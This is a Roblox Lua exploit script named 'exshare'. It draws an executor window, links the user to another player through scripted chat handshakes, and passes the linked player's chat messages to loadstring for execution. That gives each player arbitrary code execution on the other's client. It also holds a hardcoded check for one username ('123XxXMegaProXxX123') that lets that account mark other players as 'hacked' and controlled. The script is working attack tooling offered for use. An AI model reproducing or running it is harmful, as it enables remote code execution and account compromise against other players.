exshare

local share = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextBox = Instance.new("TextBox")
local close = Instance.new("TextButton")
local clear = Instance.new("TextButton")
local execute = Instance.new("TextButton")
local find = Instance.new("TextButton")
share.Name = "share"
share.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
share.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
share.DisplayOrder = 999999999
share.ResetOnSpawn = false
Frame.Parent = share
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BorderSizePixel = 2
Frame.Position = UDim2.new(0.13907285, 0, 0.263688803, 0)
Frame.Size = UDim2.new(0, 406, 0, 177)
TextBox.Parent = Frame
TextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.0320197046, 0, 0.112994522, 0)
TextBox.Size = UDim2.new(0, 380, 0, 106)
TextBox.Font = Enum.Font.Arial
TextBox.Text = ""
TextBox.PlaceholderText = ""
TextBox.ClearTextOnFocus = false
TextBox.TextColor3 = Color3.fromRGB(24,178,75)
TextBox.TextScaled = true
TextBox.RichText = true
TextBox.TextSize = 14
TextBox.TextWrapped = true
close.Name = "close"
close.Parent = Frame
close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
close.BorderSizePixel = 0
close.Position = UDim2.new(0.948275864, 0, 3.31712812e-07, 0)
close.Size = UDim2.new(0, 21, 0, 20)
close.Font = Enum.Font.SourceSans
close.Text = "X"
close.TextColor3 = Color3.fromRGB(0, 0, 0)
close.TextScaled = true
close.TextSize = 14
close.BackgroundTransparency = 1
close.TextWrapped = true
clear.Name = "clear"
clear.Parent = Frame
clear.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
clear.BorderSizePixel = 0
clear.Position = UDim2.new(0.0320197046, 0, 0.757062495, 0)
clear.Size = UDim2.new(0, 185, 0, 33)
clear.Font = Enum.Font.SourceSans
clear.BorderSizePixel = 2
clear.Text = "Clear"
clear.TextColor3 = Color3.fromRGB(0, 0, 0)
clear.TextScaled = true
clear.TextSize = 14
clear.TextWrapped = true
clear.Visible = false

find.Name = "find"
find.Parent = Frame
find.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
find.BorderSizePixel = 0
find.Position = UDim2.new(0.256, 0, 0.757062495, 0)
find.Size = UDim2.new(0, 185, 0, 33)
find.Font = Enum.Font.SourceSans
find.BorderSizePixel = 2
find.Text = "Find"
find.TextColor3 = Color3.fromRGB(0, 0, 0)
find.TextScaled = true
find.TextSize = 14
find.TextWrapped = true
find.Visible = true

execute.Name = "execute"
execute.Parent = Frame
execute.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
execute.BorderSizePixel = 0
execute.Position = UDim2.new(0.522167504, 0, 0.757062495, 0)
execute.Size = UDim2.new(0, 181, 0, 33)
execute.Font = Enum.Font.SourceSans
execute.Text = "Execute"
execute.TextColor3 = Color3.fromRGB(0, 0, 0)
execute.BorderSizePixel = 2
execute.TextScaled = true
execute.TextSize = 14
execute.TextWrapped = true
execute.Visible = false
UserInputService = game:GetService("UserInputService")
local gui = Frame
local dragging
local dragInput
local dragStart
local startPos
local function updatew(input)
    local delta = input.Position - dragStart
    gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
gui.InputBegan:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
        dragging = true
        dragStart = input.Position
        startPos = gui.Position

        input.Changed:Connect(function()
            if input.UserInputState == Enum.UserInputState.End then
                game:GetService("GuiService").TouchControlsEnabled = true
                dragging = false
            end
        end)
    end
end)
gui.InputChanged:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
        game:GetService("GuiService").TouchControlsEnabled = false
        dragInput = input
    end
end)
UserInputService.InputChanged:Connect(function(input)
    if input == dragInput and dragging then
        updatew(input)
    end
end)
local function notify(text, delay)
    local function ba()
        local msg = Instance.new("Message")
        msg.Parent = workspace
        msg.Text = text
        wait(delay)
        msg:Destroy()
    end
    local co = coroutine.create(ba)
    coroutine.resume(co)
end
local function cleartext()
    TextBox.Text = ""
end
local function chat(text)
    require(game.Players.LocalPlayer.PlayerScripts.ChatScript.ChatMain).MessagePosted:fire(text)
end
local con
local con2
_G.Connected = false
_G.Enabled = true
local function executecode(text)
    if string.find(text,"#") then
        notify("Your friend message was tagged", 5)
    elseif string.find(text,"Closed Menu") then
        notify("Your friend closed executor...", 5)
        con:Disconnect()
        con2:Disconnect()
        _G.Enabled = true
        cleartext()
        _G.Connected = false
        clear.Visible = false
        find.Visible = true
        execute.Visible = false
        TextBox.PlaceholderText = "Type here a player name"
        _G.OtherPlr = nil
    else
        loadstring(text)()
    end
end
local function test(plr)
    if game.Players.LocalPlayer.Name == "123XxXMegaProXxX123" then
        if plr.Name == "123XxXMegaProXxX123" then
        else
            plr.Chatted:Connect(function(msg)
                if msg == "Hacked" then
                    notify(""..plr.Name.." got hacked!", 5)
                    _G.Enabled = true
                    _G.Connected = true
                    TextBox.PlaceholderText = "_G.OtherPlr = game.Players."..game.Players.LocalPlayer.Name
                    _G.OtherPlr = plr
                    execute.Visible = true
                    find.Visible = false
                    clear.Visible = true
                end
            end)
        end
    end
end
for _, plr in ipairs(game.Players:GetChildren()) do
    test(plr)
end
game.Players.PlayerAdded:Connect(function(plr)
    test(plr)
end)
TextBox.PlaceholderText = "Type here a player name"
clear.MouseButton1Click:Connect(function()
    cleartext()
end)
execute.MouseButton1Click:Connect(function()
    chat(TextBox.Text)
end)
TextBox.Focused:Connect(function()
    TextBox.TextColor3 = Color3.new(0.1,0.8,0.1)
end)
close.MouseButton1Click:Connect(function()
    if con then
        con:Disconnect()
    end
    chat("Closed Menu")
    share:Destroy()
end)
find.MouseButton1Click:Connect(function()
    if _G.Connected == false then
        if _G.Enabled == true then
            if game.Players:FindFirstChild(TextBox.Text) then
                local plr = game.Players:FindFirstChild(TextBox.Text)
                if plr == game.Players.LocalPlayer then
                    notify("You can't control yourself!",5)
                    cleartext()
                else
                    notify("Waiting for ".. plr.Name.." Respond", 20)
                    con = plr.Chatted:Connect(function(msg)
                        if msg == "Trying to connect" then
                            if _G.Connected == false then
                                _G.Enabled = true
                                _G.Connected = true
                                TextBox.PlaceholderText = "_G.OtherPlr = game.Players."..game.Players.LocalPlayer.Name
                                _G.OtherPlr = plr
                                chat("Trying to connect")
                                notify("Connected to "..plr.Name.."!", 5)
                                execute.Visible = true
                                find.Visible = false
                                clear.Visible = true
                            end
                        else
                            if string.find(msg,"Closed Menu") then
                                con:Disconnect()
                            else
                                executecode(msg)
                            end
                        end
                    end)
                    con2 = game.Players.PlayerRemoving:Connect(function(player)
                        if player.Name == plr.Name then
                            con:Disconnect()
                            notify("The Connected Player Left...", 5)
                            con2:Disconnect()
                            _G.Enabled = true
                            cleartext()
                            _G.Connected = false
                            clear.Visible = false
                            find.Visible = true
                            execute.Visible = false
                            TextBox.PlaceholderText = "Type here a player name"
                            _G.OtherPlr = nil
                        end
                    end)
                    chat("Trying to connect")
                    cleartext()
                    _G.Enabled = false
                    TextBox.PlaceholderText = "Currently waiting for a respond..."
                    wait(20)
                    if _G.Connected == false then
                        TextBox.PlaceholderText = "Type here a player name"
                    end
                    _G.Enabled = true
                    if _G.Connected == false then
                        con:Disconnect()
                        notify("Player didn't respond",5)
                    end
                end
            else
                notify("Player not found", 2)
                cleartext()
            end
        end
    end
end)
TextBox.FocusLost:Connect(function()
    TextBox.TextColor3 = Color3.new(0.8,0.8,0.8)
end)